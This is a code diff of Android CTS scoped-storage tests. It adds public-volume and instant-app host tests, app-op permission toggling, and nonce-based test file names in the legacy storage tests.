-            executeShellCommand("rm " + SHELL_FILE);
-        }
+        runDeviceTest("testListFiles_hasR");
     }
 
     @Test
@@ -154,24 +140,14 @@
     @Test
     public void testCantRename_hasR() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
-        createFileAsShell(SHELL_FILE);
-        try {
-            runDeviceTest("testCantRename_hasR");
-        } finally {
-            executeShellCommand("rm " + SHELL_FILE);
-        }
+        runDeviceTest("testCantRename_hasR");
     }
 
     @Test
     public void testCantRename_noStoragePermission() throws Exception {
         revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
                 "android.permission.READ_EXTERNAL_STORAGE");
-        createFileAsShell(SHELL_FILE);
-        try {
-            runDeviceTest("testCantRename_noStoragePermission");
-        } finally {
-            executeShellCommand("rm " + SHELL_FILE);
-        }
+        runDeviceTest("testCantRename_noStoragePermission");
     }
 
     @Test
@@ -203,4 +179,24 @@
     public void testCanRenameAFileWithNoDBRow_hasRW() throws Exception {
         runDeviceTest("testCanRenameAFileWithNoDBRow_hasRW");
     }
+
+    @Test
+    public void testCreateDoesntUpsert() throws Exception {
+        runDeviceTest("testCreateDoesntUpsert");
+    }
+
+    @Test
+    public void testCaseInsensitivity() throws Exception {
+        runDeviceTest("testAndroidDataObbCannotBeDeleted");
+    }
+
+    @Test
+    public void testLegacyAppUpdatingOwnershipOfExistingEntry() throws Exception {
+        runDeviceTest("testLegacyAppUpdatingOwnershipOfExistingEntry");
+    }
+
+    @Test
+    public void testInsertWithUnsupportedMimeType() throws Exception {
+        runDeviceTest("testInsertWithUnsupportedMimeType");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
new file mode 100644
index 0000000..dbfa9fb
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeHostTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.ITestDevice;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+
+public class PublicVolumeHostTest extends ScopedStorageHostTest {
+    /** Used to clean up the virtual volume after the test */
+    private static ITestDevice sDevice = null;
+    private boolean mIsPublicVolumeSetup = false;
+    String executeShellCommand(String cmd) throws Exception {
+        return getDevice().executeShellCommand(cmd);
+    }
+
+    private void setupNewPublicVolume() throws Exception {
+        if (!mIsPublicVolumeSetup) {
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            mIsPublicVolumeSetup = true;
+        }
+    }
+
+    private void setupDevice() {
+        if (sDevice == null) {
+            sDevice = getDevice();
+        }
+    }
+
+    /**
+     * Runs the given phase of PublicVolumeTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    @Override
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase));
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupDevice();
+        setupNewPublicVolume();
+        super.setup();
+    }
+
+    @AfterClass
+    public static void deletePublicVolumes() throws Exception {
+        if (sDevice != null) {
+            sDevice.executeShellCommand("sm set-virtual-disk false");
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
new file mode 100644
index 0000000..c9bd65f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeLegacyHostTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PublicVolumeLegacyHostTest extends LegacyStorageHostTest {
+    /** Used to clean up the virtual volume after the test */
+    private static ITestDevice sDevice = null;
+    private boolean mIsPublicVolumeSetup = false;
+
+    private void setupNewPublicVolume() throws Exception {
+        if (!mIsPublicVolumeSetup) {
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            mIsPublicVolumeSetup = true;
+        }
+    }
+
+    private void setupDevice() {
+        if (sDevice == null) {
+            sDevice = getDevice();
+        }
+    }
+
+    /**
+     * Runs the given phase of PublicVolumeTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    @Override
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts.legacy",
+                "android.scopedstorage.cts.legacy.PublicVolumeLegacyTest", phase));
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupDevice();
+        setupNewPublicVolume();
+        super.setup();
+    }
+
+    @AfterClass
+    public static void deletePublicVolumes() throws Exception {
+        if (sDevice != null) {
+            sDevice.executeShellCommand("sm set-virtual-disk false");
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 9fdb746..b47d4b8 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -18,8 +18,12 @@
 
 import static org.junit.Assert.assertTrue;
 
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
 import org.junit.After;
 import org.junit.Before;
@@ -30,26 +34,41 @@
  * Runs the ScopedStorageTest tests.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
 public class ScopedStorageHostTest extends BaseHostJUnit4Test {
-    private boolean isExternalStorageSetup = false;
+    private boolean mIsExternalStorageSetup = false;
 
     /**
-     * Runs the given phase of FilePathAccessTest by calling into the device.
+     * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
      */
-    private void runDeviceTest(String phase) throws Exception {
+    void runDeviceTest(String phase) throws Exception {
         assertTrue(runDeviceTests("android.scopedstorage.cts",
                 "android.scopedstorage.cts.ScopedStorageTest", phase));
+
     }
 
-    private String executeShellCommand(String cmd) throws Exception {
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device with {@code
+     * --no-isolated-storage} flag.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTestWithDisabledIsolatedStorage(String phase) throws Exception {
+        runDeviceTests(new DeviceTestRunOptions("android.scopedstorage.cts")
+            .setDevice(getDevice())
+            .setTestClassName("android.scopedstorage.cts.ScopedStorageTest")
+            .setTestMethodName(phase)
+            .setDisableIsolatedStorage(true));
+    }
+
+    String executeShellCommand(String cmd) throws Exception {
         return getDevice().executeShellCommand(cmd);
     }
 
     private void setupExternalStorage() throws Exception {
-        if (!isExternalStorageSetup) {
+        if (!mIsExternalStorageSetup) {
             runDeviceTest("setupExternalStorage");
-            isExternalStorageSetup = true;
+            mIsExternalStorageSetup = true;
         }
     }
 
@@ -87,6 +106,11 @@
     }
 
     @Test
+    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+    }
+
+    @Test
     public void testContributeMediaFile() throws Exception {
         runDeviceTest("testContributeMediaFile");
     }
@@ -102,6 +126,11 @@
     }
 
     @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        runDeviceTest("testDeleteAlreadyUnlinkedFile");
+
+    }
+    @Test
     public void testOpendirRestrictions() throws Exception {
         runDeviceTest("testOpendirRestrictions");
     }
@@ -159,6 +188,8 @@
         runDeviceTest("testCreateLowerCaseDeleteUpperCase");
         runDeviceTest("testCreateUpperCaseDeleteLowerCase");
         runDeviceTest("testCreateMixedCaseDeleteDifferentMixedCase");
+        runDeviceTest("testAndroidDataObbDoesNotForgetMount");
+        runDeviceTest("testCacheConsistencyForCaseInsensitivity");
     }
 
     @Test
@@ -230,22 +261,52 @@
 
     @Test
     public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
-        runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
-        runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanDeleteOtherAppsContents");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageReaddir() throws Exception {
-        runDeviceTest("testManageExternalStorageReaddir");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageReaddir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
-        runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanRenameOtherAppsContents");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCantReadWriteOtherAppExternalDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -279,13 +340,33 @@
     }
 
     @Test
+    public void testOpenPendingAndTrashed() throws Exception {
+        runDeviceTest("testOpenPendingAndTrashed");
+    }
+
+    @Test
+    public void testDeletePendingAndTrashed() throws Exception {
+        runDeviceTest("testDeletePendingAndTrashed");
+    }
+
+    @Test
+    public void testListPendingAndTrashed() throws Exception {
+        runDeviceTest("testListPendingAndTrashed");
+    }
+
+    @Test
     public void testCanCreateDefaultDirectory() throws Exception {
         runDeviceTest("testCanCreateDefaultDirectory");
     }
 
     @Test
     public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
-        runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageQueryOtherAppsFile");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -319,6 +400,21 @@
     }
 
     @Test
+    public void testPendingFromFuse() throws Exception {
+        runDeviceTest("testPendingFromFuse");
+    }
+
+    @Test
+    public void testOpenOtherPendingFilesFromFuse() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testOpenOtherPendingFilesFromFuse");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
     public void testAccess_file() throws Exception {
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
@@ -330,13 +426,83 @@
 
     @Test
     public void testAccess_directory() throws Exception {
-        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE",
-                "android.permission.READ_EXTERNAL_STORAGE");
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
+                "android.permission.WRITE_EXTERNAL_STORAGE");
         try {
             runDeviceTest("testAccess_directory");
         } finally {
             revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
-                    "android.permission.READ_EXTERNAL_STORAGE");
+                    "android.permission.WRITE_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testAndroidMedia() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testAndroidMedia");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testWallpaperApisNoPermission() throws Exception {
+        runDeviceTest("testWallpaperApisNoPermission");
+    }
+
+    @Test
+    public void testWallpaperApisReadExternalStorage() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testWallpaperApisReadExternalStorage");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testWallpaperApisManageExternalStorageAppOp");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+        runDeviceTest("testWallpaperApisManageExternalStoragePrivileged");
+    }
+
+    @Test
+    public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+        runDeviceTestWithDisabledIsolatedStorage(
+                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+
+        // Check that appop is revoked after instrumentation is over.
+        runDeviceTest("testCreateFileInAppExternalDir");
+        runDeviceTest("testCreateFileInOtherAppExternalDir");
+        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+    }
+
+    @Test
+    public void testRenameFromShell() throws Exception {
+        final ITestDevice device = getDevice();
+        final boolean isAdbRoot = device.isAdbRoot() ? true : false;
+        try {
+            if (isAdbRoot) {
+                device.disableAdbRoot();
+            }
+            runDeviceTest("testRenameFromShell");
+        } finally {
+            if (isAdbRoot) {
+                device.enableAdbRoot();
+            }
         }
     }
 
@@ -351,4 +517,16 @@
             executeShellCommand("pm revoke android.scopedstorage.cts " + perm);
         }
     }
+
+    private void allowAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " allow");
+        }
+    }
+
+    private void denyAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
+        }
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
new file mode 100644
index 0000000..c97b41f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageInstantAppHostTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the ScopedStorageTest tests for an instant app.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ScopedStorageInstantAppHostTest extends BaseHostJUnit4Test {
+    /**
+     * Runs the given phase of Test by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    protected void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase));
+    }
+
+    @Test
+    @AppModeInstant
+    public void testInstantAppsCantAccessExternalStorage() throws Exception {
+        runDeviceTest("testInstantAppsCantAccessExternalStorage");
+    }
+}
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index fedd206..4596cab 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -18,9 +18,6 @@
 
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.DCIM_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.EXTERNAL_STORAGE_DIR;
-import static android.scopedstorage.cts.lib.TestUtils.MOVIES_DIR;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
@@ -29,17 +26,23 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.installApp;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -54,11 +57,15 @@
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
 import android.scopedstorage.cts.lib.TestUtils;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
+import android.text.TextUtils;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -68,6 +75,7 @@
 
 import com.google.common.io.Files;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -76,6 +84,7 @@
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 
@@ -86,15 +95,24 @@
  * <p> Test cases that assume we have WRITE_EXTERNAL_STORAGE only are appended with hasW,
  * those that assume we have READ_EXTERNAL_STORAGE only are appended with hasR, those who assume we
  * have both are appended with hasRW.
+ *
+ * <p> The tests here are also run by {@link PublicVolumeLegacyTest} on a public volume.
  */
 @RunWith(AndroidJUnit4.class)
 public class LegacyStorageTest {
     private static final String TAG = "LegacyFileAccessTest";
     static final String THIS_PACKAGE_NAME = InstrumentationRegistry.getContext().getPackageName();
 
-    static final String IMAGE_FILE_NAME = "FilePathAccessTest_file.jpg";
-    static final String VIDEO_FILE_NAME = "LegacyAccessTest_file.mp4";
-    static final String NONMEDIA_FILE_NAME = "LegacyAccessTest_file.pdf";
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
+
+    static final String IMAGE_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".jpg";
+    static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
+    static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
     private static final TestApp TEST_APP_A = new TestApp("TestAppA",
             "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
@@ -108,10 +126,16 @@
     }
 
     @Before
-    public void setUp() throws Exception {
+    public void setup() throws Exception {
         pollForExternalStorageState();
     }
 
+    @After
+    public void teardown() throws Exception {
+        executeShellCommand("rm " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
+    }
+
     /**
      * Tests that legacy apps bypass the type-path conformity restrictions imposed by
      * MediaProvider. <p> Assumes we have WRITE_EXTERNAL_STORAGE.
@@ -121,17 +145,17 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ false);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
         // Can create file under root dir
-        assertCanCreateFile(new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest.txt"));
+        assertCanCreateFile(new File(TestUtils.getExternalStorageDir(), "LegacyFileAccessTest.txt"));
 
         // Can create music file under DCIM
-        assertCanCreateFile(new File(TestUtils.DCIM_DIR, "LegacyFileAccessTest.mp3"));
+        assertCanCreateFile(new File(TestUtils.getDcimDir(), "LegacyFileAccessTest.mp3"));
 
         // Can create random file under external files dir
-        assertCanCreateFile(new File(InstrumentationRegistry.getContext().getExternalFilesDir(null),
+        assertCanCreateFile(new File(TestUtils.getExternalFilesDir(),
                 "LegacyFileAccessTest"));
 
         // However, even legacy apps can't create files under other app's directories
-        final File otherAppDir = new File(TestUtils.ANDROID_DATA_DIR, "com.android.shell");
+        final File otherAppDir = new File(TestUtils.getAndroidDataDir(), "com.android.shell");
         final File file = new File(otherAppDir, "LegacyFileAccessTest.txt");
 
         // otherAppDir was already created by the host test
@@ -151,10 +175,10 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ false);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
         // Can create a top-level direcotry
-        final File topLevelDir = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest");
+        final File topLevelDir = new File(TestUtils.getExternalStorageDir(), "LegacyFileAccessTest");
         assertCanCreateDir(topLevelDir);
 
-        final File otherAppDir = new File(TestUtils.ANDROID_DATA_DIR, "com.android.shell");
+        final File otherAppDir = new File(TestUtils.getAndroidDataDir(), "com.android.shell");
 
         // However, even legacy apps can't create dirs under other app's directories
         final File subDir = new File(otherAppDir, "LegacyFileAccessTest");
@@ -162,7 +186,7 @@
         assertThat(subDir.mkdir()).isFalse();
 
         // Try to list a directory and fail because it requires READ permission
-        assertThat(TestUtils.MUSIC_DIR.list()).isNull();
+        assertThat(TestUtils.getMusicDir().list()).isNull();
     }
 
     /**
@@ -173,7 +197,8 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ false);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
         // Can't create file under root dir
-        final File newTxtFile = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest.txt");
+        final File newTxtFile = new File(TestUtils.getExternalStorageDir(),
+                "LegacyFileAccessTest.txt");
         try {
             newTxtFile.createNewFile();
             fail("File creation expected to fail: " + newTxtFile);
@@ -181,7 +206,7 @@
         }
 
         // Can't create music file under /MUSIC
-        final File newMusicFile = new File(TestUtils.MUSIC_DIR, "LegacyFileAccessTest.mp3");
+        final File newMusicFile = new File(TestUtils.getMusicDir(), "LegacyFileAccessTest.mp3");
         try {
             newMusicFile.createNewFile();
             fail("File creation expected to fail: " + newMusicFile);
@@ -189,12 +214,15 @@
         }
 
         // Can't create a top-level direcotry
-        final File topLevelDir = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest");
+        final File topLevelDir = new File(TestUtils.getExternalStorageDir(), "LegacyFileAccessTest");
         assertThat(topLevelDir.mkdir()).isFalse();
 
         // Can't read existing file
-        final File existingFile = new File(EXTERNAL_STORAGE_DIR, "LegacyAccessHostTest_shell");
+        final File existingFile = getShellFile();
+
         try {
+            executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
             fail("Opening file for read expected to fail: " + existingFile);
         } catch (ErrnoException expected) {
@@ -204,29 +232,29 @@
         assertThat(existingFile.delete()).isFalse();
 
         // try to list a directory and fail
-        assertThat(TestUtils.MUSIC_DIR.list()).isNull();
-        assertThat(EXTERNAL_STORAGE_DIR.list()).isNull();
+        assertThat(TestUtils.getMusicDir().list()).isNull();
+        assertThat(TestUtils.getExternalStorageDir().list()).isNull();
 
         // However, even without permissions, we can access our own external dir
         final File fileInDataDir =
-                new File(InstrumentationRegistry.getContext().getExternalFilesDir(null),
+                new File(TestUtils.getExternalFilesDir(),
                         "LegacyFileAccessTest");
         try {
             assertThat(fileInDataDir.createNewFile()).isTrue();
             assertThat(Arrays.asList(fileInDataDir.getParentFile().list()))
-                    .containsExactly("LegacyFileAccessTest");
+                    .contains("LegacyFileAccessTest");
         } finally {
             fileInDataDir.delete();
         }
 
         // we can access our own external media directory without permissions.
         final File fileInMediaDir =
-                new File(InstrumentationRegistry.getContext().getExternalMediaDirs()[0],
+                new File(TestUtils.getExternalMediaDir(),
                         "LegacyFileAccessTest");
         try {
             assertThat(fileInMediaDir.createNewFile()).isTrue();
             assertThat(Arrays.asList(fileInMediaDir.getParentFile().list()))
-                    .containsExactly("LegacyFileAccessTest");
+                    .contains("LegacyFileAccessTest");
         } finally {
             fileInMediaDir.delete();
         }
@@ -238,14 +266,16 @@
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
         // can list directory content
-        assertThat(TestUtils.MUSIC_DIR.list()).isNotNull();
+        assertThat(TestUtils.getMusicDir().list()).isNotNull();
 
         // try to write a file and fail
-        final File existingFile = new File(EXTERNAL_STORAGE_DIR, "LegacyAccessHostTest_shell");
+        final File existingFile = getShellFile();
 
         // can open file for read
         FileDescriptor fd = null;
         try {
+            executeShellCommand("touch " + existingFile);
+            MediaStore.scanFile(getContentResolver(), existingFile);
             fd = Os.open(existingFile.getPath(), OsConstants.O_RDONLY, /*mode*/ 0);
         } finally {
             if (fd != null) {
@@ -261,7 +291,7 @@
         }
 
         // try to create file and fail, because it requires WRITE
-        final File newFile = new File(TestUtils.MUSIC_DIR, "LegacyFileAccessTest.mp3");
+        final File newFile = new File(TestUtils.getMusicDir(), "LegacyFileAccessTest.mp3");
         try {
             newFile.createNewFile();
             fail("Creating file expected to fail: " + newFile);
@@ -269,7 +299,7 @@
         }
 
         // try to mkdir and fail, because it requires WRITE
-        final File newDir = new File(EXTERNAL_STORAGE_DIR, "LegacyFileAccessTest");
+        final File newDir = new File(TestUtils.getExternalStorageDir(), "LegacyFileAccessTest");
         try {
             assertThat(newDir.mkdir()).isFalse();
         } finally {
@@ -284,10 +314,13 @@
     public void testListFiles_hasR() throws Exception {
         pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
+        final File shellFile = getShellFile();
 
+        executeShellCommand("touch " + getShellFile());
+        MediaStore.scanFile(getContentResolver(), getShellFile());
         // can list a non-media file created by other package.
-        assertThat(Arrays.asList(EXTERNAL_STORAGE_DIR.list()))
-                .contains("LegacyAccessHostTest_shell");
+        assertThat(Arrays.asList(shellFile.getParentFile().list()))
+                .contains(shellFile.getName());
